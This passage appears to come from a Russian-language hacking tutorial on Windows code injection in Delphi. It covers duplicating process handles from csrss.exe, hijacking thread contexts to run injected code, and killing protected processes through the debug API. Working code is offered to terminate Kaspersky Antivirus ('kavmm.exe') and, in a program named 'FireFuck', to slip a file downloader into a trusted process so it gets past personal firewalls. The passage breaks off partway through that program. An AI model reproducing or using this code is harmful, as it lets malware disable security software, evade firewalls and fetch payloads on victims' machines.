  10.     lpProcName: pointer;
  11.   end;
  12. var
  13.   GetProcAddrExInfo: TGetProcAddrExInfo;
  14.   ExitCode: dword;
  15.   hThread: dword;
  16.  
  17.   procedure GetProcAddrExThread(lpParameter: pointer); stdcall;
  18.   var
  19.     GetProcAddrExInfo: TGetProcAddrExInfo;
  20.   begin
  21.     GetProcAddrExInfo := TGetProcAddrExInfo(lpParameter^);
  22.     asm
  23.       push GetProcAddrExInfo.lpModuleName
  24.       call GetProcAddrExInfo.pGetModuleHandle
  25.       push GetProcAddrExInfo.lpProcName
  26.       push eax
  27.       call GetProcAddrExInfo.pGetProcAddress
  28.       push eax
  29.       call GetProcAddrExInfo.pExitThread
  30.     end;
  31.   end;
  32.  
  33. begin
  34.   Result := nil;
  35.   GetProcAddrExInfo.pGetModuleHandle := GetProcAddress(GetModuleHandle('kernel32.dll'),
  36.                                                        'GetModuleHandleA');
  37.   GetProcAddrExInfo.pGetProcAddress  := GetProcAddress(GetModuleHandle('kernel32.dll'),
  38.                                                        'GetProcAddress');
  39.   GetProcAddrExInfo.pExitThread      := GetProcAddress(GetModuleHandle('kernel32.dll'),
  40.                                                        'ExitThread');
  41.   if dwProcLen = 4 then GetProcAddrExInfo.lpProcName := lpProcName else
  42.     GetProcAddrExInfo.lpProcName := InjectMemory(Process, lpProcName, dwProcLen);
  43.  
  44.   GetProcAddrExInfo.lpModuleName := InjectString(Process, lpModuleName);
  45.   hThread := InjectThread(Process, @GetProcAddrExThread, @GetProcAddrExInfo,
  46.                           SizeOf(GetProcAddrExInfo), False);
  47.  
  48.   if hThread  0 then
  49.   begin
  50.     WaitForSingleObject(hThread, INFINITE);
  51.     GetExitCodeThread(hThread, ExitCode);
  52.     Result := pointer(ExitCode);
  53.   end;
  54. end;


Эта функция используется при заполнении таблицы импорта внедряемой библиотеки адресами API.

Вышеприведенный метод весьма перспективен, но имеет одно ограничение: ни в самой виртуальной dll, ни в в самой программе по отношению к этой dll нельзя использовать API функции с параметром hModule - система не считает загруженную таким образом DLL за нормальную DLL, поэтому функции будут просто возвращать код ошибки. К примеру нельзя использовать стандартную GetProcAddress для получения адресов функций в этой DLL и нельзя использовать LoadResource из самой DLL.
По этой же причине импортировать функции такая DLL может только из модулей загруженных стандартными средствами.





Анализ кода:

Как вы уже заметили, в процедурах перехвата API и внедрения кода используются функции SizeOfCode и SizeOfProc.
Функция SizeOfCode возвращает размер комманды по указателю (вместе с операндами), а функция SizeOfProc возвращает размер процедуры (участка кода от переданной точки входа до первой встреченной команды RET).
Самая сложная часть в данном методе - это анализ опкода инструкции. Для этого используется поиск по таблице опкодов, и определяется размер комманды и идущих с ней операндов.
Код функции SizeOfCode я здесь приводить не буду, так как он имеет немалый размер, к тому же пришлось бы также описывать и основы дизассемблирования, поэтому код этой функции вы можете скачать в приложении к статье.
Функция SizeOfProc устроена очень просто, и поэтому я приведу здесь её код:

Код (Text):
  1. {<i> Получение размера функции по указател на нее (размер до первой комманды RET) </i>}
  2. function SizeOfProc(Proc: pointer): dword;
  3. var
  4.   Length: dword;
  5. begin
  6.   Result := 0;
  7.   repeat
  8.     Length := SizeOfCode(Proc);
  9.     Inc(Result, Length);
  10.     if ((Length = 1) and (byte(Proc^) = $C3)) then Break;
  11.     Proc := pointer(dword(Proc) + Length);
  12.   until Length = 0;
  13. end;

Принцип работы этой функции - это просмотр команд анализируемого кода до встречи инструкции C3 (RET).






Открытие процесса. (способы получения хэндлов)

Для того чтобы установить перехват API в чужом процессе, нам необходимо каким-либо образом получить его хэндл. Наиболее просто это сделать с помощью API функции OpenProcess. Способ этот простой и универсальный, но подходит он не во всех случаях.
Например, нам необходимо обойти персональный фаерволл, и для этого способ внедрения кода в приложение, которому разрешен доступ к сети, но современные фаерволлы умеют отлавливать подобные попытки, например Outpost Fierwall Pro при обнаружении внедрения кода сразу же заблокирует сетевой доступ измененного приложения и известит об этом пользователя. Существуют также программы пресекающие попытки получить доступ к своей памяти (например антивирус Касперского). Но если немного пораскинуть мозгами, то можно придумать другие способы получения хэндла процесса, нежели OpenProcess.
Для обхода фаерволла вполне пригоден способ запуска доверенного приложения с помощью CreateProcess, функция возвращает в структуре _PROCESS_INFORMATION хэндл созданного процесса с правами доступа PROCESS_ALL_ACCESS, после чего можно производить над запущенным процессом любые действия.
Но если возникнет необходимость внедрения кода в запущенные процессы (например для установки глобального перехвата API, или для уничтожения антивируса) то придется придумывать что-нибудь новое.

Кратко рассмотрим запуск процесса в Windows NT:
1) Открытие исполняемого файла.
2) Создание секции (ZwCreateSection).
3) Создание обьекта процесса (ZwCreateProcess или ZwCreateProcessEx в Windows XP).
4) Создание окружения процесса (RtlCreateProcessParameters).
5) Создание главной нити процесса (ZwCreateThread).
6) Информирование сервера подсистемы о создании нового процесса (CsrClientCallServer).
7) Запуск главной нити нового процесса (ZwResumeThread).

Для нас важно то, что на шаге 6 происходит информирование сервера подсистемы о создании нового процесса, так как при этом происходит копирование хэндла созданного процесса в таблицу хэндлов сервера подсистемы. Итак, процесс csrss.exe всегда имеет хэндлы всех запущенных в данный момент процессов. Идея состоит в том, что можно скопировать хэндл нужного нам процесса в свою таблицу хэндлов, после чего использовать его для операций с памятью этого процесса.
Копирование хэндлов выполняет функция Kernel32! DuplicateHandle:

Код (Text):
  1. function DuplicateHandle(hSourceProcessHandle, hSourceHandle,
  2.                          hTargetProcessHandle: THandle;
  3.                          lpTargetHandle: PHandle; dwDesiredAccess: DWORD;
  4.                          bInheritHandle: BOOL; dwOptions: DWORD): BOOL; stdcall;

Принимаемые параметры:
hSourceProcessHandle - хэндл исходного процесса (откуда производится копирование),
hSourceHandle - копируемый хэндл в исходном процессе,
hTargetProcessHandle - хэндл целевого процесса (куда производится копирование),
lpTargetHandle - указатель, по которому будет сохранен хэндл применимый в целевом процессе,
dwDesiredAccess - права доступа назначаемые новому хэндлу (не могут быть выше текущих прав доступа хэндла),
bInheritHandle - наследуемость хэндла,
dwOptions - параметры копирования (DUPLICATE_CLOSE_SOURCE - исходный хэндл после копирования будет закрыт, DUPLICATE_SAME_ACCESS - просто скопировать хэндл (без изменения прав доступа).

Для того, чтобы скопировать нужный хэндл, нам нужно открыть процесс csrss.exe с флагом PROCESS_DUP_HANDLE, а также для этого необходимо знать значение интересующего нас хэндла в таблице исходного процесса.
Документированными способами получить список хэндлов в другом процессе невозможно, поэтому придется обратиться к Native API , где нас интересует функция ZwQuerySystemInformation:

Код (Text):
  1. Function ZwQuerySystemInformation(ASystemInformationClass:Cardinal;
  2.                                   ASystemInformation:Pointer;
  3.                                   ASystemInformationLength:Cardinal;
  4.                                   AReturnLength:PCardinal):NTStatus;
  5.                                   stdcall;external 'ntdll.dll';

Параметры принимаемые этой функцией я описал в прошлой статье "Перехват API функций в Windows NT", поэтому не буду подробно здесь описывать параметры принимаемые этой функцией.
Для получения информации о хэндлах нам необходимо вызвать функцию ZwQuerySystemInformation с классом SystemHandleInformation (const SystemHandleInformation = $10;)
При этом функция возвращает структуру SYSTEM_HANDLE_INFORMATION_EX :

Код (Text):
  1. PSYSTEM_HANDLE_INFORMATION_EX = ^SYSTEM_HANDLE_INFORMATION_EX;
  2. SYSTEM_HANDLE_INFORMATION_EX = packed record
  3.    NumberOfHandles: dword;
  4.    Information: array [0..0] of SYSTEM_HANDLE_INFORMATION;
  5.    end;

Элементами этой структуры являются NumberOfHandles - число возвращенных хэндлов, и массив элементов SYSTEM_HANDLE_INFORMATION:

Код (Text):
  1. PSYSTEM_HANDLE_INFORMATION = ^SYSTEM_HANDLE_INFORMATION;
  2. SYSTEM_HANDLE_INFORMATION = packed record
  3.    ProcessId: dword;
  4.    ObjectTypeNumber: byte;
  5.    Flags: byte;
  6.    Handle: word;
  7.    pObject: pointer;
  8.    GrantedAccess: dword;
  9.    end;

Рассмотрим поля этой структуры:
ProcessId - идентификатор процесса владеющего данным хэндлом,
ObjectTypeNumber - тип объекта, который описывает хэндл (именовать типы можно через ZwQueryObject),
Flags - специфичные для каждого типа хэндла,
Handle - значение хэндла,
pObject - адрес структуры объекта в пространстве ядра,
GrantedAccess - маска доступа к объекту разрешенная для данного хэндла.

Для облегчения дальнейшей работы, введем функцию для получения любой системной информации через ZwQuerySystemInformation:

Код (Text):
  1. {<i> Получение буфера с системной информацией </i>}
  2. Function GetInfoTable(ATableType:dword):Pointer;
  3. var
  4.  mSize: dword;
  5.  mPtr: pointer;
  6.  St: NTStatus;
  7. begin
  8.  Result := nil;
  9.  mSize := $4000; //начальный размер буффера
  10.  repeat
  11.    mPtr := VirtualAlloc(nil, mSize, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE);
  12.    if mPtr = nil then Exit;
  13.    St := ZwQuerySystemInformation(ATableType, mPtr, mSize, nil);
  14.    if St = STATUS_INFO_LENGTH_MISMATCH then
  15.       begin //надо больше памяти
  16.         VirtualFree(mPtr, 0, MEM_RELEASE);
  17.         mSize := mSize * 2;
  18.       end;
  19.  until St  STATUS_INFO_LENGTH_MISMATCH;
  20.  if St = STATUS_SUCCESS
  21.    then Result := mPtr
  22.    else VirtualFree(mPtr, 0, MEM_RELEASE);
  23. end;

Получив список хэндлов, мы будем перебирать их, и сравнивать Id процесса владеющего хэндлом с id процесса csrss.exe. Нас интересуют хэндлы с ObjectTypeNumbe = 5, это хэндлы процессов.
После получения значения хэндла мы его скопируем в таблицу нашего процесса с помощью DuplicateHandle.
После этого нам нужно проверить, к какому процессу относиться полученный хэндл. Для этого можно использовать функцию ZwQueryInformationProcess:

Код (Text):
  1. Function ZwQueryInformationProcess(ProcessHandle:THANDLE;
  2.                                    ProcessInformationClass:DWORD;
  3.                                    ProcessInformation:pointer;
  4.                                    ProcessInformationLength:ULONG;
  5.                                    ReturnLength:PULONG):NTStatus;stdcall;
  6.                                    external 'ntdll.dll';

Принимаемые параметры:
ProcessHandle - хэндл процесса,
ProcessInformationClass - тип получаемой информации,
ProcessInformation - указатель на участок памяти, куда будет записана полученная информация,
ProcessInformationLength - размер выделенного участка памяти,
ReturnLength - возвращает размер записанной структуры (может быть nil).

Нас интересует тип информации - ProcessBasicInformation для которого возвращается следующая структура:

Код (Text):
  1. PPROCESS_BASIC_INFORMATION = ^_PROCESS_BASIC_INFORMATION;
  2. _PROCESS_BASIC_INFORMATION = packed record
  3.    ExitStatus: BOOL;
  4.    PebBaseAddress: pointer;
  5.    AffinityMask: PULONG;
  6.    BasePriority: dword;
  7.    UniqueProcessId: ULONG;
  8.    InheritedFromUniqueProcessId: ULONG;
  9.    end;

Здесь нас интересует поле UniqueProcessId, которое и представляет искомый Id процесса.
Затем сравниваем полученный Id с id искомого процесса, и если они не равны, то закрываем полученный хэндл и продолжаем поиск.

Все вышеприведенное реализует следующий код:

Код (Text):
  1. {<i> получение хэндла процесса альтернативным методом </i>}
  2. Function OpenProcessEx(dwProcessId: DWORD): THandle;
  3. var
  4.  HandlesInfo: PSYSTEM_HANDLE_INFORMATION_EX;
  5.  ProcessInfo: _PROCESS_BASIC_INFORMATION;
  6.  idCSRSS: dword;
  7.  hCSRSS : dword;
  8.  tHandle: dword;
  9.  r      : dword;
  10. begin
  11.  Result := 0;
  12.  //открываем процесс csrss.exe
  13.  idCSRSS := GetProcessId('csrss.exe');
  14.  hCSRSS  := OpenProcess(PROCESS_DUP_HANDLE, false, idCSRSS);
  15.  if hCSRSS = 0 then Exit;
  16.  HandlesInfo := GetInfoTable(SystemHandleInformation);
  17.  if HandlesInfo  nil then
  18.  for r := 0 to HandlesInfo^.NumberOfHandles do
  19.    if (HandlesInfo^.Information[r].ObjectTypeNumber = $5) and  //тип хэндла - процесс
  20.       (HandlesInfo^.Information[r].ProcessId = idCSRSS) then   //владелец - CSRSS
  21.         begin
  22.           //копируем хэндл себе
  23.           if DuplicateHandle(hCSRSS, HandlesInfo^.Information[r].Handle,
  24.                              INVALID_HANDLE_VALUE, @tHandle, 0, false,
  25.                              DUPLICATE_SAME_ACCESS) then
  26.  
  27.              begin
  28.                ZwQueryInformationProcess(tHandle, ProcessBasicInformation,
  29.                                          @ProcessInfo,
  30.                                          SizeOf(_PROCESS_BASIC_INFORMATION), nil);
  31.                if ProcessInfo.UniqueProcessId = dwProcessId then
  32.                   begin
  33.                     VirtualFree(HandlesInfo, 0, MEM_RELEASE);
  34.                     CloseHandle(hCSRSS);
  35.                     Result := tHandle;
  36.                     Exit;
  37.                   end else CloseHandle(tHandle);
  38.              end;
  39.         end;
  40.  VirtualFree(HandlesInfo, 0, MEM_RELEASE);
  41.  CloseHandle(hCSRSS);
  42. end;





Исполнение удаленного кода без CreateRemoteThread:

Ходят слухи, что существуют программы запрещающие исполнение CreateRemoteThread, и якобы это стопроцентная защита от API перехвата. Я не знаю, действительны ли эти слухи (не довелось увидеть еще такую программу), но предполагая их наличие решим задачу исполнения внедренного кода без использования удаленных потоков.
Задача эта не имеет в себе ничего сложного, и решается через функции GetThreadContext, SetThreadContext, которые служат для получения и установки контекста нити (содержимого её регистров). Для этого мы либо запускаем процесс и получаем хэндл его главной нити, либо открываем с помощью OpenThread нить принадлежащую работающему процессу, останавливаем нить (SuspendThread), после чего получаем контекст нити (GetThreadContext), изменяем содержимое регистра EIP так, чтобы он указывал на наш внедряемый код, потом запускаем нить (ResumeThread).
Следующий код запускает процесс "зомби", в контексте которого будет исполняться наша DLL:

Код (Text):
  1. {<i> создание процесса "зомби", в контексте которого будет выполняться наша DLL </i>}
  2. function CreateZombieProcess(lpCommandLine: pchar;
  3.                              var lpProcessInformation: TProcessInformation;
  4.                              ModulePath: PChar): boolean;
  5. var
  6.   Memory:pointer;
  7.   Code: dword;
  8.   BytesWritten: dword;
  9.   Context: _CONTEXT;
  10.   lpStartupInfo: TStartupInfo;
  11.   Inject: packed record
  12.            PushCommand : byte;
  13.            PushArgument: DWORD;
  14.            CallCommand: WORD;
  15.            CallAddr: DWORD;
  16.            PushExitThread: byte;
  17.            ExitThreadArg: dword;
  18.            CallExitThread: word;
  19.            CallExitThreadAddr: DWord;
  20.            AddrLoadLibrary: pointer;
  21.            AddrExitThread: pointer;
  22.            LibraryName: array[0..MAX_PATH] of Char;
  23.           end;
  24. begin
  25.   Result := False;
  26.   //запускаем процесс
  27.   ZeroMemory(@lpStartupInfo, SizeOf(TStartupInfo));
  28.   lpStartupInfo.cb := SizeOf(TStartupInfo);
  29.   if not CreateProcess(nil, lpCommandLine, nil, nil,
  30.                        false, CREATE_SUSPENDED, nil, nil,
  31.                        lpStartupInfo, lpProcessInformation) then Exit;
  32.   //выделяем память для внедряемого кода
  33.   Memory := VirtualAllocEx(lpProcessInformation.hProcess, nil, SizeOf(Inject),
  34.                            MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  35.   if Memory = nil then
  36.      begin
  37.      TerminateProcess(lpProcessInformation.hProcess, 0);
  38.      Exit;
  39.      end;
  40.   Code := dword(Memory);
  41.   //инициализация внедряемого кода:
  42.   Inject.PushCommand    := $68;
  43.   inject.PushArgument   := code + $1E;
  44.   inject.CallCommand    := $15FF;
  45.   inject.CallAddr       := code + $16;
  46.   inject.PushExitThread := $68;
  47.   inject.ExitThreadArg  := 0;
  48.   inject.CallExitThread := $15FF;
  49.   inject.CallExitThreadAddr := code + $1A;
  50.   inject.AddrLoadLibrary := GetProcAddress(GetModuleHandle('kernel32.dll'),
  51.                                            'LoadLibraryA');
  52.   inject.AddrExitThread  := GetProcAddress(GetModuleHandle('kernel32.dll'),
  53.                                            'ExitThread');
  54.   lstrcpy(@inject.LibraryName, ModulePath);
  55.   //записать машинный код по зарезервированному адресу
  56.   WriteProcessMemory(lpProcessInformation.hProcess, Memory,
  57.                      @inject, sizeof(inject), BytesWritten);
  58.  
  59.   //получаем текущий контекст первичной нити процесса
  60.   Context.ContextFlags := CONTEXT_FULL;
  61.   GetThreadContext(lpProcessInformation.hThread, Context);
  62.   //изменяем контекст так, чтобы выполнялся наш код
  63.   Context.Eip := code;
  64.   SetThreadContext(lpProcessInformation.hThread, Context);
  65.   //запускаем нить
  66.   ResumeThread(lpProcessInformation.hThread);
  67. end;

С работающим процессом так поступить будет немного труднее, так как необходимо обеспечить нормальное функционирование процесса после внедрения, а значит надо восстанавливать контекст потока после завершения удаленного кода. Узнать момент завершения внедренного кода будет трудно, поэтому нужно передать старое содержимое регистра eip в внедряемый код, и позаботиться о сохранности содержимого регистров. После выполнения, внедренный код должен восстановить содержимое регистров потока и передать управление в точку, где поток был прерван.
Все это реализует следующий код:

Код (Text):
  1. {<i> Внедрение DLL альтернативным способом (без CreateRemoteThread)</i> }
  2. function InjectDllAlt(Process: dword; ModulePath: PChar): boolean;
  3. var
  4.   Context: _CONTEXT;
  5.   hThread: dword;
  6.   ProcessInfo: _PROCESS_BASIC_INFORMATION;
  7.   InjData:  packed record
  8.              OldEip: dword;
  9.              OldEsi: dword;
  10.              AdrLoadLibrary: pointer;
  11.              AdrLibName: pointer;
  12.             end;
  13.  
  14.   Procedure Injector();
  15.   asm
  16.     pushad
  17.     db $E8              // опкод call short 0
  18.     dd 0                //
  19.     pop eax             // eax - адрес текущей инструкции
  20.     add eax, $12
  21.     mov [eax], esi      // модифицируем операнд dd $00000000
  22.     push [esi + $0C]    // кладем в стек имя DLL
  23.     call [esi + $08]    // call LoadLibraryA
  24.     popad
  25.     mov esi, [esi + $4] // восстанавливаем esi из старого контекста
  26.     dw $25FF            // опкод Jmp dword ptr [00000000h]
  27.     dd $00000000        // модифицируемый операнд
  28.     ret
  29.   end;
  30.  
  31. begin
  32.   Result := false;
  33.   //получаем id процесса
  34.   ZwQueryInformationProcess(Process, ProcessBasicInformation,
  35.                             @ProcessInfo,
  36.                             SizeOf(_PROCESS_BASIC_INFORMATION), nil);
  37.   //открываем первую попавшуюся нить
  38.   hThread := OpenThread(THREAD_ALL_ACCESS, false,
  39.                         SearchProcessThread(ProcessInfo.UniqueProcessId));
  40.   if hThread = 0 then Exit;
  41.   SuspendThread(hThread);
  42.   //сохраняем старый контекст
  43.   Context.ContextFlags := CONTEXT_FULL;
  44.   GetThreadContext(hThread, Context);
  45.   //подготавливаем данные для внедряемого кода
  46.   InjData.OldEip := Context.Eip;
  47.   InjData.OldEsi := Context.Esi;
  48.   InjData.AdrLoadLibrary  := GetProcAddress(GetModuleHandle('kernel32.dll'),
  49.                                             'LoadLibraryA');
  50.   InjData.AdrLibName := InjectString(Process, ModulePath);
  51.   if InjData.AdrLibName = nil then Exit;
  52.   //внедряем данные и устанавливаем ebp контекста
  53.   Context.Esi := dword(InjectMemory(Process, @InjData, SizeOf(InjData)));
  54.   //внедряем код
  55.   Context.Eip := dword(InjectMemory(Process, @Injector, SizeOfProc(@Injector)));
  56.   //устанавливаем новый контекст
  57.   SetThreadContext(hThread, Context);
  58.   ResumeThread(hThread);
  59.   Result := true;
  60. end;


В этом примере используется внедрение базонезависимого кода и структуры с необходимыми ему данными. Адрес данных передается в регистре esi. Код сохраняет содержимое всех регистров потока, загружает заданную DLL, после чего восстанавливаются регистры и производится переход на адрес, на котором был прерван поток. Так как нам нужно восстановить значения всех регистров, то нельзя использовать регистровый переход, но можно записать опкод команды jmp dword ptr [0] и модифицировать ее операнд налету, что и используется в приведенном примере.
Единственный недостаток этого метода в том, что если для внедрения мы используем нить находящуюся уже в приостановленном состоянии, то загрузка DLL произойдет тогда, когда нить выйдет из состояния ожидания.

Работа с контекстами потоков это только один из многих способов исполнения удаленного кода, можно например собрать код перехватчика какой-либо часто используемой API налету и внедрить перехват записью кода в уже загруженную библиотеку, в общем можно много чего придумать.





Практическое применение:

Убиваем антивирус Касперского:

Лаборатория Касперского заявляет, что их антивирус не может быть уничтожен вредоносными программами, сейчас мы докажем, что это не так.
Антивирус Касперского устанавливает в систему драйвер, который перехватывает в ядре функции Native API: ZwOpenProcess, ZwTerminateProcess и ZwTerminateThread, после чего запрещает любую работу этих API с своим процессом.
Для открытия процесса антивируса можно использовать метод OpenProcessEx. После этого мы получаем доступ к памяти антивируса, но прибить процесс через TerminateProcess по прежнему невозможно. Первое, что приходит в голову - это выполнить CreateRemoteThread с адресом Kernel32! ExitProcess, но этот метод не срабатывает, так как ExitProcess обращается к перехваченной ZwTerminateProcess. Но существует как всегда обходной способ. В наборе Native API в Windows XP есть функция DbgUiDebugActiveProcess предназначенная для взятия процесса в режим отладки, перед отладкой необходимо создать Debug обьект вызовом DbgUiConnectToDbg.
Вот прототипы этих функций:

Код (Text):
  1. Function DbgUiDebugActiveProcess(pHandle: dword): NTStatus;stdcall;external 'ntdll.dll';
  2. Function DbgUiConnectToDbg(): NTStatus;stdcall;external 'ntdll.dll';

После перевода процесса в режим отладки он будет завершен при уничтожении связанного с ним Debug объекта, например это произойдет при завершении процесса отладчика. Нам нужно прибить отлаживаемый процесс, и при этом продолжить выполнение текущего процесса, значит нужно получить информацию о открытых нашим процессом хэндлах, найти и закрыть Debug объект.
Все эти действия производит следующий код:

Код (Text):
  1. {<i> убивание процесса отладочным методом </i>}
  2. Function DebugKillProcess(ProcessId: dword): boolean;
  3. var
  4.  pHandle: dword;
  5.  myPID: dword;
  6.  HandlesInfo: PSYSTEM_HANDLE_INFORMATION_EX;
  7.  r: dword;
  8. begin
  9.  Result := false;
  10.  myPID := GetCurrentProcessId();
  11.  if not EnableDebugPrivilege() then Exit;
  12.  //подключаемся к системе отладки и получаем DebugObject
  13.  if DbgUiConnectToDbg()  STATUS_SUCCESS then Exit;
  14.  pHandle := OpenProcessEx(ProcessId);
  15.  //включаем отладку процесса
  16.  if DbgUiDebugActiveProcess(pHandle)  STATUS_SUCCESS then Exit;
  17.  //надо найти полученный DebugObject
  18.  HandlesInfo := GetInfoTable(SystemHandleInformation);
  19.  if HandlesInfo = nil then Exit;
  20.  for r := 0 to HandlesInfo^.NumberOfHandles do
  21.   if (HandlesInfo^.Information[r].ProcessId = myPID) and
  22.      (HandlesInfo^.Information[r].ObjectTypeNumber = $8)  //DebugObject
  23.      then begin
  24.        //закрываем DebugObject, что приводит к уничтожению отлаживаемого процесса
  25.        CloseHandle(HandlesInfo^.Information[r].Handle);
  26.        Result := true;
  27.        break;
  28.      end;
  29.  VirtualFree(HandlesInfo, 0, MEM_RELEASE);
  30. end;

После чего антивирус Касперского убивается одной строкой:

Код (Text):
  1. DebugKillProcess(GetProcessId('kavmm.exe'));

Также, этим методом можно убить почти любую программу, авторы которой заявляют, что она неубиваемая.



Обходим фаерволл:

Сейчас для борьбы с троянскими программами на рынке ПО существует довольно много персональных продуктов. Это Zone Alarm, Kaspersky Anty Hacker, Kerio Personal Firewall, Agnitum Outpost Firewall и другие.
По моему мнению, наиболее продвинутым в области борьбы с методами внедрения кода является Agnitum Outpost Firewall Pro, который обеспечивает контроль DLL используемых приложением, контроль OpenProcess (блокирует сетевой доступ при изменении памяти другим приложением) и так называемый контроль скрытых процессов (процессов запущенных с флагом WM_HIDE, тоесть с скрытым окном, а не по-настоящему скрытых процессов). Сейчас мы напишем программу, которая будет получать данные из интернета в обход правил фаерволла.
Фаерволлы контролируют запись в память, но при создании нового процесса производится запись в его память со стороны родительского процесса, поэтому фаерволлы начинают контролировать запись в память только с момента запуска первой нити процесса. Также фаерволлы контролируют создание удаленных потоков, поэтому мы будем использовать манипуляцию с контекстами главной нити процесса. Общий алгоритм таков: запускается процесс которому разрешено коннектиться на 80 TCP порт, при запуске устанавливается флаг CREATE_SUSPENDED чтобы его первая нить не была запущена, внедряется код загрузчика файлов (нельзя использовать ни DLL Injection ни в каком виде), изменяется контекст первой нити так, чтобы регистр Eip указывал на точку входа внедренного кода, после чего производиться запуск нити.
Код загрузчика должен быт написан с применением только kernel32.dll и wsock32.dll, так как других библиотек в контексте приложения может и не быть, а их загрузка будет замечена фаерволлом.

Вот полный исходный текст программы загружающей файл по URL http://192.168.0.58/1.mp3 в корень диска C:

Код (Text):
  1. program FireFuck;
  2.  
  3. uses
  4.   Windows, WinSock;
  5.  
  6. {$IMAGEBASE $13140000}
  7.  
  8. {<i> Определение положения подстроки в строке </i>}
  9. Function MyPos(Substr, Str: PChar): dword; stdcall;
  10. asm
  11.  mov eax, Substr
  12.  mov edx, str
  13.  test eax, eax
  14.  je @noWork
  15.  test edx, edx
  16.  je @stringEmpty
  17.  push ebx
  18.  push esi
  19.  push edi
  20.  mov esi, eax
  21.  mov edi, edx
  22.  push eax
  23.  push edx
  24.  call lstrlen
  25.  mov ecx, eax
  26.  pop eax
  27.  push edi
  28.  push eax
  29.  push eax
  30.  call lstrlen
  31.  mov edx, eax
  32.  pop eax
  33.  dec edx
  34.  js @fail
  35.  mov al, [esi]
  36.  inc esi
  37.  sub ecx, edx
  38.  jle @fail
  39.  
  40. @loop:
  41.  repne scasb
  42.  jne @fail
  43.  mov ebx, ecx
  44.  push esi
  45.  push edi
  46.  mov ecx, edx
  47.  repe cmpsb
  48.  pop edi
  49.  pop esi
  50.  je @found
  51.  mov ecx, ebx
  52.  jmp @loop
  53.  
  54. @fail:
  55.  pop edx
  56.  xor eax, eax
  57.  jmp @exit
  58.  
  59. @stringEmpty:
  60.  xor eax, eax
  61.  jmp @noWork
  62.  
  63. @found:
  64.  pop edx
  65.  mov eax, edi
  66.  sub eax, edx
  67.  
  68. @exit:
  69.  pop edi
  70.  pop esi
  71.  pop ebx
  72.  
  73. @noWork:
  74. end;
  75.  
  76. {<i> Копирование строк </i>}
  77. Function MyCopy(S:PChar; Index, Count: Dword): PChar; stdcall;
  78. asm
  79.  mov eax, Count
  80.  inc eax
  81.  push eax
  82.  push LPTR
  83.  call LocalAlloc
  84.  mov edi, eax
  85.  mov ecx, Count
  86.  mov esi, S
  87.  add esi, Index
  88.  dec esi
  89.  rep movsb
  90. end;
  91.  
  92. { <i>Копирование участка памяти </i>}
  93. procedure MyCopyMemory(Destination: Pointer; Source: Pointer; Length: DWORD);
  94. asm
  95.  push ecx
  96.  push esi
  97.  push edi
  98.  mov esi, Source
  99.  mov edi, Destination
  100.  mov ecx, Length
  101.  rep movsb
  102.  pop edi
  103.  pop esi
  104.  pop ecx
  105. end;
  106.  
  107.  
  108. Function DownloadFile(Address: PChar; var ReturnSize: dword): pointer;
  109. var
  110.   Buffer: pointer;
  111.   BufferLength: dword;
  112.   BufferUsed: dword;
  113.   Bytes: integer;
  114.   Header: PChar;
  115.   Site: PChar;
  116.   URL: PChar;
  117.   FSocket: integer;
  118.   SockAddrIn: TSockAddrIn;
  119.   HostEnt: PHostEnt;
  120.   Str: PChar;
  121.   WSAData: TWSAData;
  122.   hHeap: dword;
  123. begin
  124.   Result := nil;
  125.   hHeap := GetProcessHeap();
  126.   WSAStartup(257, WSAData);
  127.   Site := MyCopy(Address, 1, MyPos('/', Address) - 1);
  128.   URL  := MyCopy(Address, MyPos('/', Address), lstrlen(Address) - MyPos('/', Address) + 1);
  129.   Buffer := HeapAlloc(hHeap, 0, 1024);
  130.   try
  131.     BufferLength := 1024;
  132.     BufferUsed := 0;
  133.     FSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  134.     SockAddrIn.sin_family := AF_INET;
  135.     SockAddrIn.sin_port := htons(80);
  136.     SockAddrIn.sin_addr.s_addr := inet_addr(Site);
  137.     if SockAddrIn.sin_addr.s_addr = INADDR_NONE then
  138.        begin
  139.         HostEnt := gethostbyname(Site);
  140.         if HostEnt = nil then Exit;
  141.         SockAddrIn.sin_addr.s_addr := Longint(PLongint(HostEnt^.h_addr_list^)^);
  142.        end;
  143.     if Connect(FSocket, SockAddrIn, SizeOf(SockAddrIn)) = -1 then Exit;
  144.     Str := HeapAlloc(hHeap, 0, 1024);
  145.     lstrcpy(Str, 'GET ');
  146.     lstrcat(Str, URL);
  147.     lstrcat(Str, ' HTTP/1.0'#10#13'Host: ');
  148.     lstrcat(Str, Site);
  149.     lstrcat(Str, #13#10'Connection: close'#13#10#13#10);
  150.     send(FSocket, Str^, lstrlen(Str), 0);
  151.     HeapFree(hHeap, 0, Str);
  152.     repeat
  153.       if BufferLength - BufferUsed < 1024 then
  154.         begin
  155.          Inc(BufferLength, 1024);
  156.          Buffer := HeapReAlloc(hHeap, 0, Buffer, BufferLength);
  157.         end;
  158.       Bytes := recv(FSocket, pointer(dword(Buffer) + BufferUsed)^, 1024, 0);
  159.       if Bytes > 0 then Inc(BufferUsed, Bytes);
  160.     until (Bytes = 0) or (Bytes = SOCKET_ERROR);
  161.     Header := MyCopy(Buffer, 1, MyPos(#13#10#13#10, Buffer) + 3);
  162.     ReturnSize := BufferUsed - lstrlen(header);
  163.     Result := VirtualAlloc(nil, ReturnSize, MEM_COMMIT or
  164.                            MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  165.     if Result = nil then Exit;
  166.     MyCopyMemory(Result, pointer(dword(Buffer) + lstrlen(header)), ReturnSize);
  167.   finally
  168.     HeapFree(hHeap, 0, Buffer);
  169.   end;
  170. end;
  171.  
  172. {<i> процедура выполняющаяся в контексте доверенного приложения </i>}
  173. Procedure Download(); stdcall;
  174. const
  175.  URL : PChar = '192.168.0.58/1.mp3';
  176. var
  177.  Buff: pointer;
  178.  Size: dword;
  179.  Bytes: dword;
  180.  dFile: dword;
  181. begin
  182.  LoadLibrary('wsock32.dll');
  183.  Buff := DownloadFile(URL, Size);
  184.  dFile := CreateFile('c:\1.mp3', GENERIC_WRITE, 0, nil, CREATE_NEW, 0, 0);
  185.  WriteFile(dFile, Buff^, Size, Bytes, nil);
  186.  CloseHandle(dFile);
  187.  ExitProcess(0);
  188. end;
  189.  
  190.  
  191. var
  192.  St: TStartupInfo;
  193.  Pr: TProcessInformation;
  194.  InjectSize: dword;
  195.  Code: pointer;
  196.  Injected: pointer;
  197.  BytesWritten: dword;
  198.  Context: _CONTEXT;
  199.  
  200. begin
  201.  ZeroMemory(@St, SizeOf(TStartupInfo));
